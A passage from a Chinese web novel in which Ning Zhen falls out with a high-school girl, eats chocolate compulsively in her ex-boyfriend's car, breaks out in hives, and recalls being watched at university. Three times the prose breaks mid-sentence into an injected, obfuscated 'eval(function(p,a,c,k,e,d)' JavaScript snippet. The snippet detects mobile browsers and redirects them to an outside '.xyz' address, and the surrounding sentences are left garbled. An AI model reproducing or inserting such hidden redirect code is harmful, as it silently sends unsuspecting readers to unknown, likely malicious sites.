与深层记忆重合。 那年的文学社为保留古韵,社内成员都用着校园内独一份的称呼。 不叫学长学妹,而是师兄师妹。 怪不得第一次在寺里开义工会议时,她会觉得“师兄”二字朗朗上口。 后来,这个传统被搞丢了,“鱼传尺素”也简化成写信搭子。 “不好意思,学生问问题耽误点时间,给。” 男老师打断宁蓁的神游。她接过创可贴,心中隐隐萌发出一丝危险。 “老师,请问办公室在……” 此刻她是侦探,技能为不详的直觉。 男老师说:“我的办公室?就在十四班隔壁。你是来旁听的师范生还是……” 宁蓁来不及贴创可贴,答案已经呼之欲出。“那您姓?” “姓王。”他耐心回答。 心中大石轰然坠地。 她宁愿没探索这个结果。 正当此时,方善善从对面楼道飞奔而来,带着上次一同采访的两个女孩兴奋高喊:“宁蓁姐姐——!” 宁蓁想迎过去。可她们跃出窄门视野开阔后霎时变了脸色。 男老师回头,郑重嘱咐:“教学楼附近不要大喊大叫。” 他年纪摆在那,警告也像劝诫,压不住青春正盛的学生。 但这次方善善很听话,愣在原地,马尾停摆,喉咙硬生生滚着,吞下去。那双浑圆的瞳孔直直瞠视,看向宁蓁的眼神变得遥远,好像她罪大恶极,亲手浇息了骄傲的花。 宁蓁藏起创可贴退后两步。 糟糕的补偿。 树荫里寂静无声。太阳燃烧着,灼出一个空洞。 她不知道那个女高中生在想什么,最后,方善善噙着泪,恨恨地瞪了她一眼,甩开所有人跑远了。 11. 巧克力狂热 回家途中,宁蓁胃里不舒服,路过转角公园时瞥见麻雀低空飞掠,忍不住弯腰干呕起来。 非遗展示泡汤了。 之后,连续几个阴天。 小区花坛旁边空荡荡的,孟老太太好久没照顾她的花了。宁蓁提着水果等,却等不来,也不清楚老人住哪个单元哪扇门。 杜鹃生出花苞,橙红耀眼。叶子相较之下色泽暗淡,有枯萎的迹象,临走前,她用喷雾瓶洒了点水润湿植株,希望它们撑到下雨。 「老师临时说下午改上语文课,你走吧。」 那天,方善善在微信留言,然后她们再也没见过面。 去福缘寺的路上,宁蓁还在犹豫应该在对话框里说些什么。 「你喜欢的人很好,但他不适合……」 「不如考虑考虑班里的同龄人……」 「你们之间的天平过于倾斜,这种关系不会善终……」 她尝试输入几个字,增减修改,最后全部删除。 无论怎么措辞都像高高在上的指教,没人爱听,尤其是青春期的叛逆高中生。 宁蓁倚在车窗边叹息。 退一万步说,那个王老师就没错吗? 用置身事外的态度教训她们,无异于火上浇油。 但他不知道。 不知者无罪。 所以,最好别捅破那层窗户纸。 她不能坦白:我作为侦探终于看破了“老王”的身份——你们班隔壁的年级主任。 其实这种事不是挺常见的吗? 高中校园里来了受欢迎的老师,人人都想给他留下好印象,于是发誓认真学习,听写作业都满分,在课堂争着被他点名去黑板上画Mindmap。 那时候,我们不是也一样吗? 方善善想写一份优秀的非遗报告得到瞩目和褒奖,只是过程中借了鸟哨。 作为借出人,宁蓁不用管太多事,不用深思,不用试图修复她们短暂的交集。 没在全班的注视下吹哨子,反而让她逃过一劫。 出租车上了高速,她蒙住双眼小憩。 就这样吧,装作一无所知。毕竟是擅长的事。 * 几日不见,春山绿意深浓。 宁蓁拎着袋子下车,没走几步,看见莫昭伫立在车边,低头吸食指尖猩红的星火。 烟雾隔着很远飘过来。她想躲,但动作不如男人快,他挡住去路,像一堵坚实的墙。 “上车,送你一段。” “先把烟掐了,不行吗?” 宁蓁天生不懂得欣赏所谓的烟草香,只觉得呛。 “行。”莫昭轻笑,“蓁蓁,你长大了。” 山脚下的公路冷冷清清,这会儿接连停靠几辆轿车,噪声嗡鸣。 莫昭看她依旧冷漠,接上那句话:“……以前你即使不喜欢,也要趁我抽烟的时候缠着我。” 宁蓁忽而不可思议地看着他,眉间微蹙。 缠着你……? 她真的记不清了。 莫昭的车价值天文数字,对宁蓁而言却仅仅是提供一个舒适座椅。车内仍然弥漫着玫瑰香水的气味,兔子摆件躺在那儿,好像被粘住了。 你怎么能保证它一直朝南……? “保证不了。”莫昭坦诚表示,“我说是,它就是了。” 宁蓁轻抿了唇,脊背发麻,发现自己把心里话说了出来。 “……嗯。”她勉强应声。 莫昭一手搭在方向盘上,迟迟不发动车子。 天色昏沉,薄衣衫抵不住空气里的冷。春季温度反复无常,今年,倒春寒来得格外晚。 “其实我有件事想跟你聊聊。” 她轻偏了头,视线落在中央扶手箱。盖子没关,里面放着一串钥匙和几块巧克力,包装精美,99%纯可可脂。 “关于鸿鹄计划,”他开门见山,“我还有个竞争对手。” 是成总吧,你们的员工都说成总胜券在握。 宁蓁不言语,默默在心里应着。 莫昭对商业斗争习以为常。二十岁那年,她经常听他讲那些故事,物竞天择,成王败寇,他强硬,总是赢得彻底,即使被逼进绝境也能凭着自己的手腕逢生。 可这次,他话里话外透着一种妥协的意味。 “那人不简单,今年三十上下,结婚七年了,太太不是名贵出身,但是有旺夫命。自从两人领证,他就在北城圈子里混得风生水起,后来听说看中鹭山这块地,要拿去开发养老型度假区,眼光挺精明。” 宁蓁一半在听,一半放空。 她大脑模糊捕捉到“度假区”三个字,继而关联到热闹、高昂、人满为患的场景。 那山上的野生鸟类要搬到哪里? “蓁蓁,”莫昭探身贴近她,嗓音低哑,“你觉得怎么样?” 他擅用这样的问句。 “不好。佛门净土,不合适做度假区。” 男人失笑:“我问的不是这个。” 暧昧的问句。不明不白的问句。 记忆断断续续的,黏腻,湫湿,苔藓疯狂生长,渗着淅沥的幽绿。 驾驶位靠近树林那侧。宁蓁渴望窗外风景,左手扣住轿车窗沿,宽阔公路上,一只小狗乘着风神气地窜过去。 是沐沐。 “不好。” 她回答,身体坐正,右手伸进两个座位之间的扶手箱拿巧克力。 撕锯齿,剥光包装,一口塞进嘴里,后牙用力嚼碎。车窗密闭着,隔音极佳,逼仄空间内一时只有她的咀嚼声。 嘎吱嘎吱。嘎吱嘎吱。 99%可可浓度,没有蔗糖和牛奶调味,吃起来苦闷酸涩,几乎难以下咽。 莫昭问:“哪里不好?” “人不好,靠太太带来的运气……不算本事。” 宁蓁又摸起一块巧克力撕开,想起以前。 有次长假,莫昭要带她去外地旅游。她从小没离开过北城,没亲眼看过海,提前一周就欢欣雀跃收好行李,窝在寝室盼啊盼。 出发那天下雨了。最终,她盼来了男友的爽约。 他说临时忙工作,真的走不开。宁蓁发消息问,你爱我吗。 他反问,你觉得呢。 她面无表情撑起伞,打车去机场。泥泞的路弄脏裙角,行李滑下斜坡,她狂奔着追赶,整个人摔进雨里。 ——“蓁蓁,你该懂事了。” 目的地仍然在。她独自出发,坐头等舱,住总统套房。那里有纤尘不染的落地窗,大得足以装下一片海,她忽然感觉到自己的确很幼稚。 她要成长,否则配不上他。 巧克力变成坚硬的碎块,尖角划过口腔。嘎吱嘎吱。宁蓁还在吃,牙齿的摩擦刺透耳膜。 “没想到你现在对巧克力这么狂热。” “……嗯?”她咀嚼,嘴角黏着碎屑,“我就是……突然想吃。” 莫昭伸臂,想拭掉她唇边碍眼的东西。她难得没有躲避,仿佛回到四年前他最喜欢的,冰冷而乖顺的模样。 指腹轻抚脸颊,宁蓁的身体却一瞬僵直。她太心急,咬破了黏膜,口中顿时涌出一股血腥,再混入浓厚的涩与苦。 扶手箱掀了盖,如同开肠破肚。她没理会,吃痛把剩余的巧克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071738|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力全吞进去。 “不够么?那里还有。”莫昭似乎觉得她可爱,用遥控器开启储物箱。 戒指盒不见了,他大概换车了吧。 宁蓁双手抓向箱子深处。堆叠的棕黑包装变成火焰,等待着她去扑。 “寺庙义工累吗。”他靠着头枕,慵懒斜睨她漠然的侧脸。 “还好。” 宁蓁埋头回应。巧克力有天然抗氧化剂和黄烷醇,她说服自己继续吃,吃得更多,吃掉所有。 “如果需要帮忙随时叫我。”他说。 “有一起做义工的朋友。” 胃是女巫熬药的坩埚,由着汤勺搅拌。胸口噎疼了,满嘴黏稠的腥苦,她低着头使劲吞咽,咽到眼睛泛红。 “认识两周和认识六年,哪边值得信任?” 他又抛来问句,但不急着要答案。 七块,八块。 她用手背抹一把嘴唇,双眼发热。 快啊,还差最后一块就吃完了…… “喜欢的话,下次我再给你带。” “不要了。” 手心里全是揉皱的包装袋,有的拿不住,掉在双腿之间。 “明天开始我就讨厌巧克力了。”宁蓁补充一句,“不用送,我想自己走走。” 莫昭眼底流露无奈的笑意,没有阻拦。 车门为她敞开,玫瑰的馥郁香气霎时奔涌四散。外面天更冷,宁蓁的腿僵硬了,一个人慢腾腾踉跄着,等知觉恢复。舌边溃疡磨着牙齿,像用针挑破皮肉。生涩余味唤起对糖分的渴望。她掏出酒精湿巾擦手,回想过去偷偷流了多少眼泪。 “我曾经是爱你的。” 宁蓁不愿承认。 但是为什么,我们最后会变成这样呢。 春风吹过,冬天似的刺骨。她才发觉贴身衣物早已变得潮湿。 要下雨了吧。 她仰头,看见乌云将彼此撞碎。漫长坡道上,一道颀长的影子从天上落下来。 温霖在那里等待,遥远却清晰。 他俯身对沐沐说悄悄话,似乎正在密谋什么。话说够了,他断然甩开手,指示她的方向。 绳子拖在公路上拉长,小狗开始奔跑,浑身载着流动的风的形状。 没有半点犹豫,不偏不倚冲向她。 “沐沐!” 她蹲下,张开双臂迎接。 沐沐懂得减速,但依然撞进宁蓁怀里。胸口刹那间被填满了,柔顺的毛,温热的身体,鲜活跳动的脉搏,宛如劫后余生。 “抱歉!想这孩子来打招呼的,可它自作主张要抱你。” 温霖也跑过来,目光稍显慌乱。 宁蓁摇头表示无碍,仍缩在地上抱着沐沐不想松手。她皮肤很薄,喜怒哀乐却留不下痕迹。 沐沐轻轻嘤咛。 他深沉的黑发垂着,意识到异样。 “……你不开心。” 没有啊,只是吃了太多巧克力,胃酸正在惩罚我。 她原本想这样敷衍,却撞入他的眼睛。澄澈,睫羽纤长,连注视一片叶子都深情。 “有点,因为阴天了。” 半句谎言。 温霖看得出来,却不忍揭穿。 他低身,身形虚拢着她。宁蓁长发松松挽了马尾,露出干净单薄的后颈。他想撑住她的背,对她说可以放心往后倾倒,说很多年过去了我还在牵挂你。 舒展的手掌停到半空,掌纹溶化在风里。 想触碰。 但她像梦,一碰就化为泡影。 天光黯淡如夜。温霖笑里泛着苦涩,蜷起指节,缓缓收回了手。 12. 荨麻疹 终于得救了。 她贪心地收紧双臂,不放过一丝温暖。 沐沐嗅到人类隐蔽的情绪,一只爪子搭上肩膀,尾巴灵活地左右摆动,扫过她膝盖和小腿。 “好乖好乖。” 清爽气息从周身围拢而来,像刚割下的青草。宁蓁揉揉小狗脑袋,眼眶褪了红,翻江搅海的胃也逐渐平静。 “你真厉害,你是最棒的小狗,对不对?” 她语调开朗些。温霖见状松弛下来,但胸口莫名被她那句话勾着,蓬出一簇吐絮的棉花。 坡道上只剩下风。云雨将至,他们得赶去寺里避雨。 “姐姐,”他拾起牵引绳绕在手背,试着问,“你从学校回来了。” 宁蓁“嗯”了一声。 温霖踌躇片刻:“……顺利吗。” “就是,不小心惹了一个高中生。” 她眉心似乎攒起,眨眼间好像又抚平。温霖仔细推敲字句,却没来得及问些别的。 “我可能以后再也进不去学校的门了。” 宁蓁不禁说出心里话,错过他忽明忽暗的目光。她算了算方善善与王老师的年龄差,不到十岁。 “你觉得八十岁的人和七十岁的人合适吗。” 温霖注意到她白皙的颈侧染上一片嫣红。 “还可以,”他认真答道,“人生阅历不差太多。” “那五十岁和四十岁呢。” “也勉强。” “那三十岁和二十岁?”她手臂内侧爬上一阵密密麻麻的针刺感。 温霖略一沉吟:“不合适了。” “是吧。” 她的语气和风一起下坠。几秒钟过去,怕这话题太突兀,顺便捎上句寒暄:“对了,还没问过你今年几岁。” 不知道陪伴犬懂不懂得控制自己的面部肌肉——沐沐走在前方,回头咧开嘴巴,像开心的笑容。 “我二十三了。” 和安唯一样的年纪。宁蓁感慨:“好年轻啊。” 北城的蓝天是风吹出来的。但今天天气很怪,快要下雨,风也不停。 她抬起胳膊重新整理被吹得凌乱的头发。温霖伸手摊开,动作自然,想接过她随身的袋子。 宁蓁不想麻烦别人,但舌尖擦过溃疡,疼得她一时抿住唇,说不出话。冷空气四处作祟,手臂内的刺挠感越来越明显,犹如皮肤底下埋了种子,正窸窸窣窣破土萌芽。 她以为那阵难受劲儿过去了。现在趁空着双手挽起衣袖,小臂上竟然浮出一片片红色风团。 温霖看了一眼,说:“荨麻疹,这里也有。” 他不轻易去指她身体的哪个部位,反而用指尖划向自己颈侧。 宁蓁放下袖子叹息一声,轻轻的,不让沐沐听见。 “你对什么东西过敏吗?”温霖稍稍偏了身子帮忙遮风。 刚才她只做了一件事,和过敏原毫不相关。 “我不记得有过敏史。” 宁蓁的脸色令人分不清是苍白还是淡薄,在记忆里,她一直如此。 “等天晴了多晒晒太阳,阳光里有维生素。”他建议,仿佛她是株植物。 进了福缘寺他们就得分开了,一个往客堂避雨,一个去寮房待命。阴转小雨的天,衬得温霖发色更深,发丝被风吹起来,深得泛着灰蓝。 宁蓁问他头发是不是染过,他笑着说这是天生的。 临走前,沐沐坐在风里。它不是每次都舍不得告别,有时候就这么安静地呆着,直直地凝望离开的人。 寮房门虚掩着,短发室友正趴在床上浏览宁蓁留给她的鸟类图鉴。 “蓁蓁你回来啦。”她扭头打招呼,“我前几天看到一种鸟诶,眼睛下面有撮红红的毛。” 宁蓁放下东西倚在床边,让她看看是不是红耳鹎。 安唯按照她说的翻到对应页,雀形目,鹎科。 “对,就是这个!不过这英文名,‘Red-whiskeredBulbul’,红络腮胡子,太怪了。” 图鉴左页对照绘有野生鸟类分布图,它们是留鸟,主要生存在亚热带气候,雨水充足的湿润地带。 安唯看着看着生出疑惑:“不对啊,地图上没写北城也有红耳鹎。” 宁蓁说:“我猜,因为那本书是几年前的版本,没办法实时更新气候变化的影响……” “对哦,”安唯想起,“全球变暖都老生常谈了,最近那些自媒体账号分析几年之后就要进入小冰河期来着。” 窗外阴天,屋内没开灯,显得晦暗,聊了几句她才看见宁蓁荨麻疹发作,脖子上一片红,染到锁骨。 “别担心,这个病就是来得快去得也快。”她以亲身经历安慰,“小学四年级有一次春游,最后大家集合上车回学校了,没带上我,那一瞬间我身上冒出好多疹子。” 宁蓁问后来呢。 “后来啊,我自己坐地铁回家了。” 安唯笑了笑,对多年以前的事不以为意。 细雨如约而至。天彻底暗下去,但两人谁也没开灯。宁蓁换了衣服躺在床上,瞬间被疲惫感淹没。 好累。 脑中旁白在说:这个女人吃了二十块巧克力,这是她大脑发生的变化。 巧克力里含有咖啡因,应该刺激神经中枢提神醒脑,可她困得浑身脱力,手机握在手里,眼皮差点就合上了。 「沐沐不会吃陌生人给的食物吧?」 宁蓁凭着意志力打字,发出消息。他们认识第一天就互加好友,但聊天界面里干干净净,话语不超过三句。 她等待,看对话框顶端的“L.”变成“对方正在输入”。 「沐沐做过拒食训练,有主人的口令才吃东西」 宁蓁眨眨眼,回一句“真好”,侧脸沉入柔软的枕头。 * 再睁开眼,自己坐在山谷巨石上。 是梦啊。 终于又做梦了。回家那几天她睡眠一直很浅,枕着熹微光亮,无论睡前再看多少遍短视频也摸不到梦的边缘。 周围是熟悉的深涧幽谷。宁蓁站起来,从巨石上纵身一跃。 风呼啸而过,身子轻飘飘的,落地时安然无恙。她想,这就是轻功吧。 “师弟——” 师弟曾经说过这里只有他们两人,此刻,连他都消失了,深邃山谷中回荡着她孤零零的呼唤。 不。 背后还有水声。 瀑布悬坠在山间,飞漱直下,惊得天地皆哗然。宁蓁伸手穿过水帘,它便如同一条白布似的剪开,现出里面的漆黑洞穴。 师弟一定是藏进去了。她擦亮石壁上的火把,举着熊熊火焰走了几步,洞内窒闷潮湿,瀑布声在响,滴滴答答的雨声也在响。 宁蓁高举火把,火光映在头顶峻峭的石壁上,照亮石缝间滴落的棕黑色液体。 有股浓醇的香味,大概是巧克力溶液。 继续往里走,连绵不绝的巧克力河横亘在脚下。 “……” 师弟不会潜在这里吧。 宁蓁挽起袖子进去打捞,再收手时小臂裹了层黑巧克力脆皮。手心里黏着一只鸟形木雕,看模样像鸮类,瞪着圆圆的大眼睛。 突然,木雕的尖喙翕动起来,叫声凄厉。 “你为什么要抢走我的……” “为什么……” 宁蓁手一抖,把它甩回河里,之后似乎便着了魔,捡起碎石疯狂敲打自己身上的黑巧脆壳。巧克力凝固了,一片片连带着皮肤剥落,她感觉左手臂已经伤痕累累,骨头断了,创口深浅不一,淌着血。 “九师姐!” 这时,不知从哪里传来师弟的声音。 宁蓁回身,跌进一只巨大的粉色食蚁兽的怀抱,食蚁兽抱住她拔腿飞奔,跑啊跑,跑出森林童话里小动物的雀跃,跑出旋转木马的音乐,跑出彩色泡泡,跑出夕阳,一直跑到瀑布流入的泉水里。 清水洗净她的外壳。夜深了,清辉落在地上,师弟拨开冷然皎月的影子。 “看,我给你的礼物!”他目光清明,却痴痴笑道。 哇,如今的侠客真厉害啊。 梦醒前,宁蓁喃喃自语:“连大食蚁兽都能召唤……” …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071739|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒来还在寺庙寮房。安唯去厨房干活儿,留了张字条贴在上铺床板,说看她睡着,就没吵醒。 灯关着。宁蓁发现自己的头沉沉地压住左臂,压到左手没了知觉。 血液不循环,怪不得做的是噩梦。 她捧起手机准备给鸰一评论,但回想梦的剧情,简直乱七八糟,一言难尽。 巧克力河、黑巧克力脆皮、圆鸮和召唤出来的粉色大食蚁兽,好像没有哪个元素拿得出手。 动捕演员的视频自动循环,不到三十秒却播了五分钟。她犹犹豫豫,只留下简短的句子: 「太好了,终于又梦到你……」 恰巧此时手机振动,上方弹出一行字。 L.:「如果在忙就算了」 温霖发来的,语气显得相当冷淡。宁蓁身体深处忽然紧了一下,左臂血液回流,触电般刺痛。 短视频app滑到微信。两小时前,他问有没有空到客堂来,但她完全睡过去了。 L.:「(贴图)」 手机又震一次,是个表情包,呆头呆脑的小鸟在地上慢悠悠跳breaking。 「马上!」 宁蓁回复完就换衣服跑向客堂。北城春天没有暴雨,但雨还在下,阵阵湿冷蔓延。雨幕从檐角垂落,师父静坐在法堂内,木鱼声遥远递来,透过傍晚烟青色的天。 温霖站在门外看雨。 沐沐耳朵动了动,听见松廊的脚步声,跑向宁蓁。 它叼着塑料袋,坐下,湛蓝的眼睛渴望她取走嘴里的东西。 “给我的?” 小狗快递送来白色袋子,很轻便,里面装着几盒药:可的松乳膏、氯雷他定和维生素D胶囊。 宁蓁轻咬了下唇,摸摸沐沐的头说谢谢。 “抱歉。”温霖的嗓音融入细雨。 她目光困惑。 “只是打字总觉得语气有点怪。”他解释,话中略显懊恼。 宁蓁明白他指的是微信里最后一条消息。 “……所以你平时不和我聊天。” 雨声绵延,木鱼声平缓地在雨中荡开。 温霖抬起眼,见她静静立在雨幕旁边,神色冷清如常。 他笑了笑:“对啊,有时候就是越说越错。” 宁蓁怔愣着。其实该道歉的是她,不小心说错的也是她。她陈述了一个猜测,话一出口却像是埋怨,怨他怎么不给她发消息,怎么不发点沐沐的照片影片。但幸好她不会把心虚二字写在脸上,或者,她皮肉太薄,想写也写不出来。 “我才该说对不起,回去后好困,没想到一下午就睡过去了……”宁蓁握紧袋子晃了晃,“麻烦了,雨天特意跑一趟。” 附近没有药店,最近的要去郊区的商业街上。 “那我有没有打扰你休息?” “没打扰!我把钱转给你。” 宁蓁仓促寻找手机,却被他用更明晰的笑容拒绝。 “不用啦。我还带了维生素D,本来推荐你多晒太阳,结果最近都是阴雨天。” 人情不能欠着,她承诺请客吃饭。后来,如温霖所说,雨淅淅沥沥下了整夜,不知道哪天才会放晴。 寺里不设轮班,次日清晨,她们依旧在厨房忙碌。安唯备了一双乳白色手套,神秘兮兮拿出来,让她戴上。 “厨房专用!免得你老是洗手,这叫节约用水。” “是,”她配合地低了低头,“谨记教诲。” 安唯笑得大方:“哎,担不起。你荨麻疹好点没啊。” 宁蓁涂过药,风团不肿了,但还有点泛红,变成一片细密的小疙瘩。 “还没好彻底。” 刚说完手机就响了,来电人是李肃。她没接,开始洗菜,过一会儿口袋里又振动不停,她只好摘了手套去拨弄,轻松的空气霎时凝滞。 「昨天身体不舒服?」 「病了就别逞强」 「等着,下午我接你回家」 窗外,云重得化不开。 那三条消息是锚,钉住宁蓁的肢体。屏幕沾了几粒水珠,诡异地来回滚动,让她想起从前。 13. 温柔注视 似乎是大三上学期,宁蓁隐隐约约觉得有人在背后看她。 有门通识课在晚上,讲文明通论,所有专业的必修。当天她课表排得满满当当,上午体育、英语,下午两门专业课,几乎刚听见下课音乐就要抱起书飞奔,根本来不及提前占座。 阶梯教室座位一层比一层高,人们时而无聊,视线齐刷刷射向教室门口。 宁蓁就站在那儿茫然地寻找位置。山顶膨胀喧嚣,没几个空位,偶尔看见还被人抢先。每次她都被推向教室正中央,不断和同学弯腰致歉,越过一双双腿,仿佛电影已经开场,而她是迟到的观众。 她挤不进晚间食堂,只能拿出面包悄悄咬几口。教授开始放PPT了,周围躁动起来:按圆珠笔,手机磕到桌面,笔记本翻来覆去,闲聊且以为别人都听不到…… 大家都在忙。宁蓁就是在那时察觉到,后排有一束直白的目光不偏不倚刺在她背上。 是错觉吧。 她浑身打个寒颤,继续啃草莓馅的面包。 课间,宁蓁举起小化妆镜假装检查妆容,镜子里映出一排排陌生面孔,没有一个眼神与她相汇。 果然是错觉。 但哲学课教她们保持怀疑。 小面包填不饱肚子,下了课,她逆着人流走向供应夜宵的食堂,随便吃碗拉面,呆到快十点。宿舍楼偏远,幸好有条捷径,小道两旁灌木交错丛生,流浪的校猫喜欢在叶片中穿行,经常钻来钻去弄出动静。 ——那种时轻时重的飒飒声。 不像猫。 宁蓁猛地回身,地上却只剩下自己的影子。 状况持续了几天。她和寝室里一名室友提起,但对方坚信校园内无比安全,没放在心上。 “筱梦,你最近去上课有没有感觉有人在后面跟着?” “没有啊,”室友退缩两步,反过来问,“有人跟踪你?” “算不上‘跟踪’,就是感觉有人在看我……” 空气缄默,筱梦的声调突然拉高:“当然喽!你长得那么漂亮,大家不看你看谁啊。” 宁蓁勉强笑了笑,不再说话。 为什么其他人都没有这个烦恼? 疑心病挥之不去。几周后,文明通论课上,她不再吃小面包了。尽管大家都在忙碌,可她觉得只有自己的动作最刺耳。无论是肉松、黑芝麻还是草莓馅儿的面包,无论表面裹不裹奶酪酱,她撕开包装并咀嚼的声响都犹如滔天骇浪,随时让漫山遍野的视线向她集中。 讲台上,教授拿着麦克风解释文学研究的方法论,中气十足。 中间的座位不方便出入,一旦坐下就逃不掉。宁蓁乖乖听讲,端坐着,感觉那缕窥伺的眼神再次摸上来。 「学校里有人在看着我」 她偷偷向男朋友求助。对方正在看手机,回复得飞快: 「跟踪」 「还是监控?」 她打字:「没有那么夸张……」 他的消息接连不断: 「蓁蓁你知道吗,有种病的症状就是幻听幻视」 「被迫害妄想,而且怀疑自己的大脑被控制」 「精神分裂症」 那阵子莫昭忙于事业,天天出差,两人有段时间没见过面。他偶尔传几张相片来,富丽堂皇的酒店大堂、高脚杯、红酒、游泳池和山区的夜空。 「这就是被脑控的人」 「【链接】」 链接跳转至微博,是一个女孩子的日常生活,语言支离破碎,主语混淆,分不清你我他,后面连着“控制”“手机监视”“跟踪”“迫害”。 恐怖的字眼冲刷着思绪,从宁蓁背后流下去。 但她对其中一篇内容印象深刻——“我一手拿着刺刀,一手拿着蝴蝶”。【注1】 「我带你去医院看看?」 莫昭拿出言出必行的态度。她连忙打字,终结这个话题。 “我不可能得了精神分裂症,”二十岁的宁蓁想,“我最近太累了,才疑神疑鬼。” 她直起腰背,全神贯注听课。 又过了段时间,宁蓁已经学会与那道视线和平共处。 窥探的眼神埋在暗处蠢蠢欲动,但她选择相信筱梦说的,相信那些目光来源于欣赏。因为上学期,学生会有意邀她入镜校园宣传片;因为刚开学时室友曾经调侃,连隔着几条街的南校区都有男生喜欢她。 一切不是毫无根据,她甚至可以当真。 直至深夜,宁蓁再次走进通往宿舍楼的捷径。夜风四起,灌木丛嘶嘶地响,犹如蛇口张开獠牙,吐出鲜红的信子。 某个瞬间,嘶嘶声砸在地上,哗的一下炸开。 有什么东西破裂了。 水珠顺着手腕往下滑。她懵了,身体动不了,只有沾了水的手机屏幕疯了似的来来回回地滚。 …… 不是错觉。 有人在窥视她。 尘封的记忆赫然浮出海面,一个大浪猛扑过来,推着宁蓁回头。 厨房师傅蹲在角落叮叮当当整理碗碟。安唯从缸里舀米,米粒沙沙地倒进盆里。 “我出去一下。” 宁蓁逃离厨房,给李肃回拨,解释自己刚才在干活儿,没时间接电话。 对面洪亮的嗓音冲破听筒:“都玩了好几天了,该回家了吧!” 她反驳:“我不是在玩。” 似乎意识到话不合适,李肃收了语气:“这不是担心嘛,怕你身体吃不消啊。” 宁蓁眉头微蹙,顿了顿。 荨麻疹发在衣袖底下,脖子上的也被长发掩着,但他们好像都亲眼看见了。 “我的身体没问题。” ——无论如何总比回去参加非遗节目要好。 “唉,行吧,你自己掂量着来。”李肃不再催她,挂了电话。 阴天,鸟鸣不停,一连串叽叽喳喳,分外活跃。回到后厨,安唯正盯着窗户外的树枝,如同一只注视小动物的猫。 宁蓁被大学时的记忆缠绕,心中逐渐生出猜疑。 “蓁蓁,那些是什么鸟啊。”安唯问。 厨房变得寒冷。 鸟的叫声有成千上万种,听过的越多,越无法确定。她目光暗下去: “在电线杆上多嘴。” 对方反应几秒:“哦!麻雀啊,怪不得那么吵。” 宁蓁戴上手套,拧开水阀。旁边,安唯一边削土豆皮,一边哼起来。 “你说这一句,很有夏天的感觉,啦啦啦啦啦,那下句什么来着? “秋刀鱼——的滋味,猫跟你都想了解—— “而你的脸颊像田里熟透的番茄—— “整夜,我的爱溢出就像雨水……” 她越哼越投入,每句都在调上,唱到后面顺手搬来一筐番茄放进水池。 “哈哈,”收拾完碗碟的师傅插嘴,“您是专业歌手啊,我这耳朵都透亮了!” 师傅本地口音浓重,如果这句话落在宁蓁头上,她只会觉得是绕着弯让自己闭嘴。 可安唯嘿嘿一笑,照单全收。 “谢谢啦师傅,我以前在酒吧做过驻唱。” * 有人在背后看着,但不是厨房里的人。 午后,全天最温暖的时候,宁蓁拖着笤帚扫向山门。一辆轿车从阴云中遥遥驶入视野。 她假装忙碌,没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071740|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理会莫昭的消息。对话列表里,月白头像被压下去,成了第二顺位。 对了,是他率先发现她的荨麻疹发作。 宁蓁转身望了望石阶尽头。古刹与鹭山相对,隐入灰蒙蒙的天色。 再看手机时,温霖的对话框跃上顶端。 「我买了新设备」 「看,600定焦,还算轻便的一款」 照片里有长焦镜头,焦距比他上次带来的更远,尺寸更大。背景应该是他家,木质桌子干净整洁,后面虚化了书架、壁画和明亮的窗。 「这几天在忙工作,下周去观鸟」 「那时候你还在吗?」 「(贴图)」 他喜欢用呆小鸟表情包【注2】,看着让人心情愉悦。宁蓁简单回了一句,说暂时不打算离开。 矮林挨着石阶,里面传来阵阵鸣啼,四连音,很亮,前两声高,第三声往下转折。 陌生新奇的叫声,以前好像没听过。温霖提及观鸟,她也想找找声音的来源,于是解下黄色的义工马甲攥在手心,拎起笤帚走进林子。 宁蓁仰头寻觅,准备随时举起手机静音拍照。那边,公路上,两辆车子一前一后紧咬不放,纷纷在正对山门的地方熄了火。 乳白色轿车位于前方,里面走出一位女士,接着,后方的黑色车门砰的一下关严。 噪音突如其来,惊起枝头一小团阴影。 啾啾声消失,敏感多疑的小鸟被吓跑。宁蓁默默叹息,意兴索然地观察起那两个人。 那位女士穿着贴合身体的白色旗袍,长发用钗盘在脑后,露出美妙的项背和腰线。男人一身墨蓝色,镜片掩不住那双精锐的眼睛。 “这么巧,能在荒郊野岭遇见成太太。” 嗓音很耳熟。莫昭有时这么说话,似乎睥睨一切,却在深处藏着玩味。 女人脚下踩着细高跟鞋,摇摇欲坠,不方便拾级而上。莫昭顺势做个绅士之举,伸出手臂让她搭扶。 她看了一眼,不领情,放那条手臂悬在空中。 宁蓁在那一刻望见她的容貌:堪称标致的猫眼,美得不可逼视。 “哦,这不是莫仁的三儿子吗。”女人说。 对话剑拔弩张。 